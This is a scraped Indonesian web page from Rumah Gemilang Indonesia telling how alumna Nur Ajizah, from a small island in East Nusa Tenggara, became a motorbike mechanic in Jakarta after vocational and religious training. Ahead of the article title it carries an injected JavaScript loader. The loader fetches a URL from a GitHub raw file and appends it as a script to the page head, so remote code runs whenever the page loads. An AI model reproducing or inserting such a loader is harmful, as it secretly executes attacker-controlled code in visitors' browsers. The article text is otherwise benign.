;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Ajizah Perempuan Mandiri dari Ujung Timur NTT – Rumah Gemilang Indonesia

Ajizah Perempuan Mandiri dari Ujung Timur NTT

Ajizah Perempuan Mandiri dari Ujung Timur NTT

Bagi sebagian orang, pekerjaan otomotif hanya dapat dilakukan oleh laki – laki saja. Namun gadis ini membuktikan, ia juga mampu menjalankan profesi tersebut.

Nur Ajizah L Making, Salahsatu alumni santri Rumah Gemilang Indonesia. Tinggal disebuah pulau kecil bernama Umalue diujung timur pulau Lembata, Nusa Tenggara Timur. Berkat tekad dan kegigihannya, kini mampu menghantarkan Ajizah menjadi seorang montir salahatu bengkel motor matic di Jakarta.

Kisah Ajizah bermula ketika selepas belajar SMA, ia ingin melanjutkan pendidikannya keperguruan tinggi. Namun, keluarga tidak menyanggupi permintaan tersebut karena faktor ekonomi yang tidak mendukung. Orangtua Ajizah berprofesi sebagai buruh tani dengan penghasilan yang pas – pasan. Kondisi inilah yang membuat Ajizah memutuskan untuk mengikuti diklat di Rumah Gemilang Indonesia.

Selama enam bulan di RGI, Ajizah berhasil melewati berbagai tantangan belajar. Kesabaran instruktur saat mengajar menambah semangatnya dalam menuntut ilmu. Tak hanya skill otomotif yang didapat, Ajizah mengaku mulai rajin melakukan pembiasaan shalat tepat waktu, tahajjud, dan kegiatan keagamaan lainnya sehingga mampu memperbaiki sikap dan kedisiplinannya untuk bekal didunia kerja nanti.

Kepribadiannya yang ramah serta skill yang mumpuni hasil enam bulan belajar di RGI. Kini Ajizah diterima dengan baik disalahsatu bengkel motor matic yang sebelumnya menjadi tempat ia praktik kerja. Bahkan, saat ini Ajizah sudah mampu mengerjakan kerusakan motor yang biasa dikerjakan oleh mekanik senior seperti perbaikan CVT dan mesin.

“Terimakasih RGI, telah mengubah saya menjadi lebih baik, membantu meringankan beban orangtua saya, menambah ilmu agama saya, dan mempertemukan saya dengan teman – teman dari berbagai daerah yang saling mendukung. Ajizah seorang perempuan mandiri yang jauh dari orangtua bahkan pulau. Alhamdulillah, saya sudah mampu membantu membiayai adik saya” Ungkapnya.